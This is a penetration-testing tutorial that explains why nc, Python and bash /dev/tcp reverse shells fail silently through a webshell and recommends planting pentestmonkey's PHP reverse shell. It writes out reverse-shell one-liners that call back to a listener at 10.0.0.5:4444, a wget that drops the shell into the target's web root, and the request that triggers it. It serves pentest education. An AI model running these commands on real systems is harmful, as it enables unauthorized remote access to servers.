nc, Python and /bin/bash Reverse Shells All Fail Silently? Use PHP Instead
Command injection or RCE gives you code execution through a webshell, but every reverse shell one-liner you try just... does nothing. No error, no connection. Here's why, and the one method that still works.
The symptom
You already have command execution — through SQL injection, an RCE, or a webshell you managed to drop onto the target's web root:
http://target:port/webshell.php?cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Commands run fine. So you start a listener and try the usual reverse shell one-liners through that same cmd= parameter:
nc -e /bin/bash 10.0.0.5 4444 python3 -c 'import socket,subprocess,os;...' bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
Nothing connects. No error text comes back in the HTTP response, no error on the listener side either — just silence. This is the confusing part: a normal "command not found" would at least tell you something is missing. Here there's nothing to go on.
Diagnose before trying more one-liners
Instead of cycling through every payload you know, check what's actually on the box first. Run each command directly (not as a reverse shell, just to see its output):
cmd=which nc nc.traditional ncat python python3 perl php cmd=echo $SHELL; cat /etc/os-release
In this case, the result was blunt: nc, python, and python3 all came back not found — they genuinely aren't installed. That explains those three failures immediately; there was nothing silent about it once checked directly, the one-liners just never showed that error because the output of a failed background reverse shell attempt doesn't get echoed back to you the way a plain command does.
/bin/bash itself was present. That's the one that still deserves an explanation, because "the shell exists" and "the shell can open a raw TCP connection" are two different claims.
Why a present /bin/bash still won't reverse shell
The bash -i >& /dev/tcp/… trick isn't shell syntax everyone's bash supports by default — it relies on bash being compiled with --enable-net-redirections. Many distributions ship it enabled, but minimal images, some hardened builds, and certain Debian/Ubuntu variants compile it out entirely. When that's the case, /dev/tcp/ isn't a special bash device at all — bash just treats it as a literal (nonexistent) file path, the redirection silently does nothing useful, and the command hangs or exits with no connection and no error message you'd notice through a webshell's output.
There's no quick webshell-only way to confirm this compiled-in feature from the output of a single command — by the time you've confirmed nc and python are both missing, treating the bash method as unreliable and moving on is faster than trying to prove why it failed.
What still works: the web application's own language
The web server didn't need nc or python to serve pages — it's running as a process in whatever language the site is written in, and that runtime almost always has its own built-in networking functions. If the site is PHP, PHP itself can open a raw socket with no external binary involved at all. That's the whole reason this approach survives when every external tool is missing: it was never calling out to nc or python3 in the first place.
pentestmonkey's php-reverse-shell.php is the standard version of this.
Steps
| Step | What to do |
|---|---|
| 1 | Edit php-reverse-shell.php locally and set the $ip and $port variables to your listener's address. |
| 2 | Through the existing webshell, pull it onto the target's web root: cmd=wget http://your-host/php-reverse-shell.php -O shell.php |
| 3 | Start your listener: nc -lvnp 4444 |
| 4 | Trigger it by requesting the file directly — in a browser, or with curl http://target/shell.php. The PHP process itself makes the outbound connection; your listener catches the shell. |
Outbound port choice matters separately from all of this — if egress is filtered to only 80/443, point the listener at one of those instead of 4444. That's a firewall question, not a missing-tool question, and it's worth checking independently of everything above.
FAQ
Why didn't any of the failed attempts show an error?
A reverse shell command is meant to run in the background and never return output to the channel that launched it — so a missing binary, a compiled-out bash feature, or a filtered port all look identical from the webshell's point of view: nothing comes back. The fix is to stop trusting silence and explicitly check for each tool with a plain command first.
Does this mean bash reverse shells never work?
No — most standard distributions do support /dev/tcp/. It's specifically minimal images, some hardened or embedded builds, and a subset of Debian-family systems that compile it out. It's one possible cause among several, not a rule.
Does this only apply to PHP sites?
No, the same logic applies to any web app's own runtime — a Python/Flask app, a Node app, a JSP app, and so on. Whatever language runs the application, that runtime's own socket functions can usually open a connection without depending on separate binaries being installed.
Related: Restricted shell escape techniques, SSH -L forward: empty reply on localhost.